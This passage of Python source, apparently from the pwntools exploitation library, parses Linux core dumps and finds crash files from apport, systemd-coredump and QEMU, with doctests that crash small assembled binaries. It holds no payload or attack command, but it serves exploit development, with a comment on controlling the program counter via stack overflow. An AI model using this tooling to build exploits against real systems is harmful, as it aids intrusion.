accessed with virtual addresses via subscript, or contents can be examined via the :attr:`.Mapping.data` attribute. >>> core.exe # doctest: +ELLIPSIS Mapping('/.../step3', start=..., stop=..., size=0x1000, flags=0x..., page_offset=...) >>> hex(core.exe.address) '0x41410000' The core file also has registers which can be accessed direclty. Pseudo-registers :attr:`pc` and :attr:`sp` are available on all architectures, to make writing architecture-agnostic code more simple. If this were an amd64 corefile, we could access e.g. ``core.rax``. >>> core.pc == 0xcafebabe True >>> core.r0 == 0xdeadbeef True >>> core.sp == core.r13 True We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump via :attr:`fault_addr` and :attr:`signal`. On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that's correct anyway. >>> core.fault_addr == 0xcafebabe True >>> core.signal 11 Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a "complete" corefile requires GDB 7.11 or better. >>> elf = ELF(which('bash-static')) >>> context.clear(binary=elf) >>> env = dict(os.environ) >>> env['HELLO'] = 'WORLD' >>> io = process(elf.path, env=env) >>> io.sendline(b'echo hello') >>> io.recvline() b'hello\n' The process is still running, but accessing its :attr:`.process.corefile` property automatically invokes GDB to attach and dump a corefile. >>> core = io.corefile >>> io.close() The corefile can be inspected and read from, and even exposes various mappings >>> core.exe # doctest: +ELLIPSIS Mapping('.../bin/bash-static', start=..., stop=..., size=..., flags=..., page_offset=...) >>> core.exe.data[0:4] b'\x7fELF' It also supports all of the features of :class:`ELF`, so you can :meth:`pwnlib.elf.elf.ELF.read` or :meth:`pwnlib.elf.elf.ELF.write` or even the helpers like :meth:`pwnlib.elf.elf.ELF.pack` or :meth:`pwnlib.elf.elf.ELF.unpack`. Don't forget to call :meth:`.ELF.save` to save the changes to disk. >>> core.read(elf.address, 4) b'\x7fELF' >>> core.pack(core.sp, 0xdeadbeef) >>> core.save() Let's re-load it as a new :attr:`Corefile` object and have a look! >>> core2 = Corefile(core.path) >>> hex(core2.unpack(core2.sp)) '0xdeadbeef' Various other mappings are available by name, for the first segment of: * :attr:`.exe` the executable * :attr:`.libc` the loaded libc, if any * :attr:`.stack` the stack mapping * :attr:`.vvar` * :attr:`.vdso` * :attr:`.vsyscall` On Linux, 32-bit Intel binaries should have a VDSO section via :attr:`vdso`. Since our ELF is statically linked, there is no libc which gets mapped. >>> core.vdso.data[:4] b'\x7fELF' >>> core.libc But if we dump a corefile from a dynamically-linked binary, the :attr:`.libc` will be loaded. >>> process('bash').corefile.libc # doctest: +ELLIPSIS Mapping('.../libc...so...', start=0x..., stop=0x..., size=0x..., flags=..., page_offset=...) The corefile also contains a :attr:`.stack` property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL- terminated path to the executable (as passed via the first arg to ``execve``). >>> core.stack # doctest: +ELLIPSIS Mapping('[stack]', start=0x..., stop=0x..., size=0x..., flags=0x6, page_offset=0x0) When creating a process, the kernel puts the absolute path of the binary and some padding bytes at the end of the stack. We can look at those by looking at ``core.stack.data``. >>> size = len('/bin/bash-static') + 8 >>> core.stack.data[-size:] b'bin/bash-static\x00\x00\x00\x00\x00\x00\x00\x00\x00' We can also directly access the environment variables and arguments, via :attr:`.argc`, :attr:`.argv`, and :attr:`.env`. >>> 'HELLO' in core.env True >>> core.string(core.env['HELLO']) b'WORLD' >>> core.getenv('HELLO') b'WORLD' >>> core.argc 1 >>> core.argv[0] in core.stack True >>> core.string(core.argv[0]) # doctest: +ELLIPSIS b'.../bin/bash-static' Corefiles can also be pulled from remote machines via SSH! >>> s = ssh(user='travis', host='example.pwnme', password='demopass') >>> _ = s.set_working_directory() >>> elf = ELF.from_assembly(shellcraft.trap()) >>> path = s.upload(elf.path) >>> _ =s.chmod('+x', path) >>> io = s.process(path) >>> io.wait(1) -1 >>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP True Make sure fault_addr synthesis works for amd64 on ret. >>> context.clear(arch='amd64') >>> elf = ELF.from_assembly('push 1234; ret') >>> io = elf.process() >>> io.wait(1) >>> io.corefile.fault_addr 1234 Corefile.getenv() works correctly, even if the environment variable's value contains embedded '='. Corefile is able to find the stack, even if the stack pointer doesn't point at the stack. >>> elf = ELF.from_assembly(shellcraft.crash()) >>> io = elf.process(env={'FOO': 'BAR=BAZ'}) >>> io.wait(1) >>> core = io.corefile >>> core.getenv('FOO') b'BAR=BAZ' >>> core.sp == 0 True >>> core.sp in core.stack False Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being overwritten. >>> context.clear(arch='i386') >>> assembly = ''' ... LOOP: ... mov dword ptr [esp], 0x41414141 ... pop eax ... jmp LOOP ... ''' >>> elf = ELF.from_assembly(assembly) >>> io = elf.process() >>> io.wait(2) >>> core = io.corefile >>> core.argc, core.argv, core.env (0, [], {}) >>> core.stack.data.endswith(b'AAAA') True >>> core.fault_addr == core.sp True """ _fill_gaps = False def __init__(self, *a, **kw): #: The NT_PRSTATUS object. self.prstatus = None #: The NT_PRPSINFO object self.prpsinfo = None #: The NT_SIGINFO object self.siginfo = None #: :class:`list`: A list of :class:`.Mapping` objects for each loaded memory region self.mappings = [] #: :class:`int`: A :class:`Mapping` corresponding to the stack self.stack = None """ Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable. Use :meth:`.getenv` or :meth:`.string` to retrieve the textual value. Note: If ``FOO=BAR`` is in the environment, ``self.env['FOO']`` is the address of the string ``"BAR\x00"``. """ self.env = {} #: :class:`int`: Pointer to envp on the stack self.envp_address = 0 #: :class:`list`: List of addresses of arguments on the stack. self.argv = [] #: :class:`int`: Pointer to argv on the stack self.argv_address = 0 #: :class:`int`: Number of arguments passed self.argc = 0 #: :class:`int`: Pointer to argc on the stack self.argc_address = 0 # Pointer to the executable filename on the stack self.at_execfn = 0 # Pointer to the entry point self.at_entry = 0 # Pointer to the vdso self.at_sysinfo_ehdr = None try: super(Corefile, self).__init__(*a, **kw) except IOError: log.warning("No corefile. Have you set /proc/sys/kernel/core_pattern?") raise self.load_addr = 0 self._address = 0 if self.elftype != 'CORE': log.error("%s is not a valid corefile" % self.file.name) if self.arch not in prstatus_types: log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name) prstatus_type = prstatus_types.get(self.arch) siginfo_type = siginfo_types.get(self.bits) with log.waitfor("Parsing corefile...") as w: self._load_mappings() for segment in self.segments: if not isinstance(segment, elftools.elf.segments.NoteSegment): continue for note in segment.iter_notes(): # Try to find NT_PRSTATUS. if note.n_type == 'NT_PRSTATUS': self.NT_PRSTATUS = note self.prstatus = prstatus_type.from_buffer_copy(note.n_desc) # Try to find NT_PRPSINFO if note.n_type == 'NT_PRPSINFO': self.NT_PRPSINFO = note self.prpsinfo = note.n_desc # Try to find NT_SIGINFO so we can see the fault if note.n_type == 'NT_SIGINFO': self.NT_SIGINFO = note self.siginfo = siginfo_type.from_buffer_copy(note.n_desc) # Try to find the list of mapped files if note.n_type == 'NT_FILE': with context.local(bytes=self.bytes): self._parse_nt_file(note) # Try to find the auxiliary vector, which will tell us # where the top of the stack is. if note.n_type == 'NT_AUXV': self.NT_AUXV = note with context.local(bytes=self.bytes): self._parse_auxv(note) if not self.stack and self.mappings: self.stack = self.mappings[-1].stop if self.mappings[-1].start == 0xffffffffff600000 and len(self.mappings) > 1: self.stack = self.mappings[-2].stop if self.stack and self.mappings: for mapping in self.mappings: if self.stack in mapping or self.stack == mapping.stop: mapping.name = '[stack]' self.stack = mapping break else: log.warn('Could not find the stack!') self.stack = None with context.local(bytes=self.bytes): try: self._parse_stack() except ValueError: # If there are no environment variables, we die by running # off the end of the stack. pass # Corefiles generated by QEMU do not have a name for the # main module mapping. # Fetching self.exe will cause this to be auto-populated, # and is a no-op in other cases. self.exe # Print out the nice display for the user self._describe_core() def _parse_nt_file(self, note): starts = [] addresses = {} for vma, filename in zip(note.n_desc.Elf_Nt_File_Entry, note.n_desc.filename): if not isinstance(filename, str): filename = filename.decode('utf-8', 'surrogateescape') for mapping in self.mappings: if mapping.start == vma.vm_start: mapping.name = filename mapping.page_offset = vma.page_offset self.mappings = sorted(self.mappings, key=lambda m: m.start) vvar = vdso = vsyscall = False for mapping in reversed(self.mappings): if mapping.name: continue if not vsyscall and mapping.start == 0xffffffffff600000: mapping.name = '[vsyscall]' vsyscall = True continue if mapping.start == self.at_sysinfo_ehdr \ or (not vdso and mapping.size in [0x1000, 0x2000] and mapping.flags == 5 and self.read(mapping.start, 4) == b'\x7fELF'): mapping.name = '[vdso]' vdso = True continue if not vvar and mapping.size == 0x2000 and mapping.flags == 4: mapping.name = '[vvar]' vvar = True continue @property def vvar(self): """:class:`Mapping`: Mapping for the vvar section""" for m in self.mappings: if m.name == '[vvar]': return m @property def vdso(self): """:class:`Mapping`: Mapping for the vdso section""" for m in self.mappings: if m.name == '[vdso]': return m @property def vsyscall(self): """:class:`Mapping`: Mapping for the vsyscall section""" for m in self.mappings: if m.name == '[vsyscall]': return m @property def libc(self): """:class:`Mapping`: First mapping for ``libc.so``""" expr = r'^libc\b.*so(?:\.6)?$' for m in self.mappings: if not m.name: continue basename = os.path.basename(m.name) if re.match(expr, basename): return m @property def exe(self): """:class:`Mapping`: First mapping for the executable file.""" # Finding the executable mapping requires knowing the entry point # from the auxv if not self.at_entry: return None # The entry point may not be in the first segment of a given file, # but we want to find the first segment of the file -- not the segment that # contains the entrypoint. first_segment_for_name = {} for m in self.mappings: first_segment_for_name.setdefault(m.name, m) # Find which segment conains the entry point for m in self.mappings: if m.start <= self.at_entry < m.stop: if not m.name and self.at_execfn: m.name = self.string(self.at_execfn) if not isinstance(m.name, str): m.name = m.name.decode('utf-8') return first_segment_for_name.get(m.name, m) @property def pid(self): """:class:`int`: PID of the process which created the core dump.""" if self.prstatus: return int(self.prstatus.pr_pid) @property def ppid(self): """:class:`int`: Parent PID of the process which created the core dump.""" if self.prstatus: return int(self.prstatus.pr_ppid) @property def signal(self): """:class:`int`: Signal which caused the core to be dumped. Example: >>> elf = ELF.from_assembly(shellcraft.trap()) >>> io = elf.process() >>> io.wait(1) >>> io.corefile.signal == signal.SIGTRAP True >>> elf = ELF.from_assembly(shellcraft.crash()) >>> io = elf.process() >>> io.wait(1) >>> io.corefile.signal == signal.SIGSEGV True """ if self.siginfo: return int(self.siginfo.si_signo) if self.prstatus: return int(self.prstatus.pr_cursig) @property def fault_addr(self): """:class:`int`: Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer. Example: >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386') >>> io = elf.process() >>> io.wait(1) >>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef True """ if not self.siginfo: return getattr(self, 'pc', 0) fault_addr = int(self.siginfo.sigfault_addr) # The fault_addr is zero if the crash occurs due to a # "protection fault", e.g. a dereference of 0x4141414141414141 # because this is technically a kernel address. # # A protection fault does not set "fault_addr" in the siginfo. # (http://elixir.free-electrons.com/linux/v4.14-rc8/source/kernel/signal.c#L1052) # # Since a common use for corefiles is to spray the stack with a # cyclic pattern to find the offset to get control of $PC, # check for a "ret" instruction ("\xc3"). # # If we find a RET at $PC, extract the "return address" from the # top of the stack. if fault_addr == 0 and self.siginfo.si_code == 0x80: try: code = self.read(self.pc, 1) RET = b'\xc3' if code == RET: fault_addr = self.unpack(self.sp) except Exception: # Could not read $rsp or $rip pass return fault_addr # No embedded siginfo structure, so just return the # current instruction pointer. @property def _pc_register(self): name = { 'i386': 'eip', 'amd64': 'rip', }.get(self.arch, 'pc') return name @property def pc(self): """:class:`int`: The program counter for the Corefile This is a cross-platform way to get e.g. ``core.eip``, ``core.rip``, etc. """ return self.registers.get(self._pc_register, None) @property def _sp_register(self): name = { 'i386': 'esp', 'amd64': 'rsp', }.get(self.arch, 'sp') return name @property def sp(self): """:class:`int`: The stack pointer for the Corefile This is a cross-platform way to get e.g. ``core.esp``, ``core.rsp``, etc. """ return self.registers.get(self._sp_register, None) def _describe(self): pass def _describe_core(self): gnu_triplet = '-'.join(map(str, (self.arch, self.bits, self.endian))) fields = [ repr(self.path), '%-10s %s' % ('Arch:', gnu_triplet), '%-10s %#x' % ('%s:' % self._pc_register.upper(), self.pc or 0), '%-10s %#x' % ('%s:' % self._sp_register.upper(), self.sp or 0), ] if self.exe and self.exe.name: fields += [ '%-10s %s' % ('Exe:', '%r (%#x)' % (self.exe.name, self.exe.address)) ] if self.fault_addr: fields += [ '%-10s %#x' % ('Fault:', self.fault_addr) ] log.info_once('\n'.join(fields)) def _load_mappings(self): for s in self.segments: if s.header.p_type != 'PT_LOAD': continue mapping = Mapping(self, None, s.header.p_vaddr, s.header.p_vaddr + s.header.p_memsz, s.header.p_flags, None) self.mappings.append(mapping) def _parse_auxv(self, note): t = tube() t.unrecv(note.n_desc) for i in range(0, note.n_descsz, context.bytes * 2): key = t.unpack() value = t.unpack() # The AT_EXECFN entry is a pointer to the executable's filename # at the very top of the stack, followed by a word's with of # NULL bytes. For example, on a 64-bit system... # # 0x7fffffffefe8 53 3d 31 34 33 00 2f 62 69 6e 2f 62 61 73 68 00 |S=14|3./b|in/b|ash.| # 0x7fffffffeff8 00 00 00 00 00 00 00 00 |....|....| | | if key == constants.AT_EXECFN: self.at_execfn = value value = value & ~0xfff value += 0x1000 self.stack = value if key == constants.AT_ENTRY: self.at_entry = value if key == constants.AT_PHDR: self.at_phdr = value if key == constants.AT_BASE: self.at_base = value if key == constants.AT_SYSINFO_EHDR: self.at_sysinfo_ehdr = value def _parse_stack(self): # Get a copy of the stack mapping stack = self.stack if not stack: return # If the stack does not end with zeroes, something is very wrong. if not stack.data.endswith(b'\x00' * context.bytes): log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)", enhex(self.data[-context.bytes:])) return # AT_EXECFN is the start of the filename, e.g. '/bin/sh' # Immediately preceding is a NULL-terminated environment variable string. # We want to find the beginning of it if not self.at_execfn: address = stack.stop address -= 2*self.bytes address -= 1 address = stack.rfind(b'\x00', None, address) address += 1 self.at_execfn = address address = self.at_execfn-1 # Sanity check! try: if stack[address] != b'\x00': log.warning("Error parsing corefile stack: Could not find end of environment") return except ValueError: log.warning("Error parsing corefile stack: Address out of bounds") return # address is currently set to the NULL terminator of the last # environment variable. address = stack.rfind(b'\x00', None, address) # We've found the beginning of the last environment variable. # We should be able to search up the stack for the envp[] array to # find a pointer to this address, followed by a NULL. last_env_addr = address + 1 p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr) if p_last_env_addr < 0: # Something weird is happening. Just don't touch it. log.warn_once("Error parsing corefile stack: Found bad environment at %#x", last_env_addr) return # Sanity check that we did correctly find the envp NULL terminator. envp_nullterm = p_last_env_addr+context.bytes if self.unpack(envp_nullterm) != 0: log.warning("Error parsing corefile stack: Could not find end of environment variables") return # We've successfully located the end of the envp[] array. # # It comes immediately after the argv[] array, which itself # is NULL-terminated. # # Now let's find the end of argv p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr) self.envp_address = p_end_of_argv + self.bytes # Now we can fill in the environment env_pointer_data = stack[self.envp_address:p_last_env_addr+self.bytes] for pointer in unpack_many(env_pointer_data): # If the stack is corrupted, the pointer will be outside of # the stack. if pointer not in stack: continue try: name_value = self.string(pointer) except Exception: continue name, _ = name_value.split(b'=', 1) # "end" points at the byte after the null terminator end = pointer + len(name_value) + 1 # Do not mark things as environment variables if they point # outside of the stack itself, or we had to cross into a different # mapping (after the stack) to read it. # This may occur when the entire stack is filled with non-NUL bytes, # and we NULL-terminate on a read failure in .string(). if end not in stack: continue if not isinstance(name, str): name = name.decode('utf-8', 'surrogateescape') self.env[name] = pointer + len(name) + len('=') # May as well grab the arguments off the stack as well. # argc comes immediately before argv[0] on the stack, but # we don't know what argc is. # # It is unlikely that argc is a valid stack address. address = p_end_of_argv - self.bytes while self.unpack(address) in stack: address -= self.bytes # address now points at argc self.argc_address = address self.argc = self.unpack(self.argc_address) # we can extract all of the arguments as well self.argv_address = self.argc_address + self.bytes self.argv = unpack_many(stack[self.argv_address: p_end_of_argv]) @property def maps(self): """:class:`str`: A printable string which is similar to /proc/xx/maps. :: >>> print(Corefile('./core').maps) 8048000-8049000 r-xp 1000 /home/user/pwntools/crash 8049000-804a000 r--p 1000 /home/user/pwntools/crash 804a000-804b000 rw-p 1000 /home/user/pwntools/crash f7528000-f7529000 rw-p 1000 None f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so f76d5000-f76d8000 rw-p 3000 None f76ef000-f76f1000 rw-p 2000 None f76f1000-f76f2000 r-xp 1000 [vdso] f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so fff3e000-fff61000 rw-p 23000 [stack] """ return '\n'.join(map(str, self.mappings)) def getenv(self, name): """getenv(name) -> int Read an environment variable off the stack, and return its contents. Arguments: name(str): Name of the environment variable to read. Returns: :class:`str`: The contents of the environment variable. Example: >>> elf = ELF.from_assembly(shellcraft.trap()) >>> io = elf.process(env={'GREETING': 'Hello!'}) >>> io.wait(1) >>> io.corefile.getenv('GREETING') b'Hello!' """ if not isinstance(name, str): name = name.decode('utf-8', 'surrogateescape') if name not in self.env: log.error("Environment variable %r not set" % name) return self.string(self.env[name]) @property def registers(self): """:class:`dict`: All available registers in the coredump. Example: >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386') >>> io = elf.process() >>> io.wait(1) >>> io.corefile.registers['eax'] == 0xdeadbeef True """ if not self.prstatus: return {} rv = {} for k in dir(self.prstatus.pr_reg): if k.startswith('_'): continue try: rv[k] = int(getattr(self.prstatus.pr_reg, k)) except Exception: pass return rv def debug(self): """Open the corefile under a debugger.""" import pwnlib.gdb pwnlib.gdb.attach(self, exe=self.exe.path) def __getattr__(self, attribute): if attribute.startswith('_') or not self.prstatus: raise AttributeError(attribute) if hasattr(self.prstatus, attribute): return getattr(self.prstatus, attribute) return getattr(self.prstatus.pr_reg, attribute) # Override routines which don't make sense for Corefiles def _populate_got(*a): pass def _populate_plt(*a): pass class Core(Corefile): """Alias for :class:`.Corefile`""" class Coredump(Corefile): """Alias for :class:`.Corefile`""" class CorefileFinder(object): def __init__(self, proc): if proc.poll() is None: log.error("Process %i has not exited" % (proc.pid)) self.process = proc self.pid = proc.pid self.uid = proc.suid self.gid = proc.sgid self.exe = proc.executable self.basename = os.path.basename(self.exe) self.cwd = proc.cwd # XXX: Should probably break out all of this logic into # its own class, so that we can support "file ops" # locally, via SSH, and over ADB, in a transparent way. if isinstance(proc, process): self.read = read self.unlink = os.unlink elif isinstance(proc, ssh_channel): self.read = proc.parent.read self.unlink = proc.parent.unlink self.kernel_core_pattern = self.read('/proc/sys/kernel/core_pattern').strip() self.kernel_core_uses_pid = bool(int(self.read('/proc/sys/kernel/core_uses_pid'))) log.debug("core_pattern: %r" % self.kernel_core_pattern) log.debug("core_uses_pid: %r" % self.kernel_core_uses_pid) self.interpreter = self.binfmt_lookup() log.debug("interpreter: %r" % self.interpreter) # If we have already located the corefile, we will # have renamed it to 'core.' core_path = 'core.%i' % (proc.pid) self.core_path = None if os.path.isfile(core_path): log.debug("Found core immediately: %r" % core_path) self.core_path = core_path # Try QEMU first, since it's unlikely to be a false-positive unless # there is a PID *and* filename collision. if not self.core_path: log.debug("Looking for QEMU corefile") self.core_path = self.qemu_corefile() # Check for native coredumps as a last resort if not self.core_path: log.debug("Looking for native corefile") self.core_path = self.native_corefile() if not self.core_path: return core_pid = self.load_core_check_pid() # Move the corefile if we're configured that way if context.rename_corefiles: new_path = 'core.%i' % core_pid if core_pid > 0 and new_path != self.core_path: write(new_path, self.read(self.core_path)) try: self.unlink(self.core_path) except (IOError, OSError): log.warn("Could not delete %r" % self.core_path) self.core_path = new_path # Check the PID if core_pid != self.pid: log.warn("Corefile PID does not match! (got %i)" % core_pid) # Register the corefile for removal only if it's an exact match elif context.delete_corefiles: atexit.register(lambda: os.unlink(self.core_path)) def load_core_check_pid(self): """Test whether a Corefile matches our process Speculatively load a Corefile without informing the user, so that we can check if it matches the process we're looking for. Arguments: path(str): Path to the corefile on disk Returns: `bool`: ``True`` if the Corefile matches, ``False`` otherwise. """ try: with context.quiet: with tempfile.NamedTemporaryFile() as tmp: tmp.write(self.read(self.core_path)) tmp.flush() return Corefile(tmp.name).pid except Exception: pass return -1 def apport_corefile(self): """Find the apport crash for the process, and extract the core file. Arguments: process(process): Process object we're looking for. Returns: `str`: Raw core file contents """ crash_data = self.apport_read_crash_data() log.debug("Apport Crash Data:\n%s" % crash_data) if crash_data: return self.apport_crash_extract_corefile(crash_data) def apport_crash_extract_corefile(self, crashfile_data): """Extract a corefile from an apport crash file contents. Arguments: crashfile_data(str): Crash file contents Returns: `str`: Raw binary data for the core file, or ``None``. """ file = StringIO(crashfile_data) # Find the pid of the crashfile for line in file: if line.startswith(' Pid:'): pid = int(line.split()[-1]) if pid == self.pid: break else: # Could not find a " Pid:" line return # Find the CoreDump section for line in file: if line.startswith('CoreDump: base64'): break else: # Could not find the coredump data return # Get all of the base64'd lines chunks = [] for line in file: if not line.startswith(' '): break chunks.append(b64d(line)) # Smush everything together, then extract it compressed_data = b''.join(chunks) compressed_file = BytesIO(compressed_data) gzip_file = gzip.GzipFile(fileobj=compressed_file) core_data = gzip_file.read() return core_data def apport_read_crash_data(self): """Find the apport crash for the process Returns: `str`: Raw contents of the crash file or ``None``. """ uid = self.uid crash_name = self.exe.replace('/', '_') crash_path = '/var/crash/%s.%i.crash' % (crash_name, uid) try: log.debug("Looking for Apport crash at %r" % crash_path) data = self.read(crash_path) except Exception: return None # Remove the crash file, so that future crashes will be captured try: self.unlink(crash_path) except Exception: pass # Convert bytes-like object to string if isinstance(data, bytes): data = data.decode('utf-8') return data def systemd_coredump_corefile(self): """Find the systemd-coredump crash for the process and dump it to a file. Arguments: process(process): Process object we're looking for. Returns: `str`: Filename of core file, if coredump was found. """ filename = "core.%s.%i.coredumpctl" % (self.basename, self.pid) try: subprocess.check_call( [ "coredumpctl", "dump", "--output=%s" % filename, # Filter coredump by pid str(self.pid), ], stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT, shell=False, ) return filename except subprocess.CalledProcessError as e: log.debug("coredumpctl failed with status: %d" % e.returncode) def native_corefile(self): """Find the corefile for a native crash. Arguments: process(process): Process whose crash we should find. Returns: `str`: Filename of core file. """ if self.kernel_core_pattern.startswith(b'|'): log.debug("Checking for corefile (piped)") return self.native_corefile_pipe() log.debug("Checking for corefile (pattern)") return self.native_corefile_pattern() def native_corefile_pipe(self): """Find the corefile for a piped core_pattern Supports apport and systemd-coredump. Arguments: process(process): Process whose crash we should find. Returns: `str`: Filename of core file. """ if b'/apport' in self.kernel_core_pattern: log.debug("Found apport in core_pattern") apport_core = self.apport_corefile() if apport_core: # Write the corefile to the local directory filename = 'core.%s.%i.apport' % (self.basename, self.pid) with open(filename, 'wb+') as f: f.write(apport_core) return filename filename = self.apport_coredump() if filename: return filename # Pretend core_pattern was just 'core', and see if we come up with anything self.kernel_core_pattern = 'core' return self.native_corefile_pattern() elif b'systemd-coredump' in self.kernel_core_pattern: log.debug("Found systemd-coredump in core_pattern") return self.systemd_coredump_corefile() else: log.warn_once("Unsupported core_pattern: %r", self.kernel_core_pattern) return None def native_corefile_pattern(self): """ %% a single % character %c core file size soft resource limit of crashing process (since Linux 2.6.24) %d dump mode—same as value returned by prctl(2) PR_GET_DUMPABLE (since Linux 3.7) %e executable filename (without path prefix) %E pathname of executable, with slashes ('/') replaced by exclamation marks ('!') (since Linux 3.0). %g (numeric) real GID of dumped process %h hostname (same as nodename returned by uname(2)) %i TID of thread that triggered core dump, as seen in the PID namespace in which the thread resides (since Linux 3.18) %I TID of thread that triggered core dump, as seen in the initial PID namespace (since Linux 3.18) %p PID of dumped process, as seen in the PID namespace in which the process resides %P PID of dumped process, as seen in the initial PID namespace (since Linux 3.12) %s number of signal causing dump %t time of dump, expressed as seconds since the Epoch, 1970-01-01 00:00:00 +0000 (UTC) %u (numeric) real UID of dumped process """ replace = { '%%': '%', '%e': os.path.basename(self.interpreter) or self.basename, '%E': self.exe.replace('/', '!'), '%g': str(self.gid), '%h': socket.gethostname(), '%i': str(self.pid), '%I': str(self.pid), '%p': str(self.pid), '%P': str(self.pid), '%s': str(-self.process.poll()), '%u': str(self.uid) } replace = dict((re.escape(k), v) for k, v in replace.items()) pattern = re.compile("|".join(replace.keys())) if not hasattr(self.kernel_core_pattern, 'encode'): self.kernel_core_pattern = self.kernel_core_pattern.decode('utf-8') core_pattern = self.kernel_core_pattern corefile_path = pattern.sub(lambda m: replace[re.escape(m.group(0))], core_pattern) if self.kernel_core_uses_pid: corefile_path += '.%i' % self.pid if os.pathsep not in corefile_path: corefile_path = os.path.join(self.cwd, corefile_path) log.debug("Trying corefile_path: %r" % corefile_path) try: self.read(corefile_path) return corefile_path except Exception as e: log.debug("No dice: %s" % e) def qemu_corefile(self): """qemu_corefile() -> str Retrieves the path to a QEMU core dump. """ # QEMU doesn't follow anybody else's rules # https://github.com/qemu/qemu/blob/stable-2.6/linux-user/elfload.c#L2710-L2744 # # qemu__-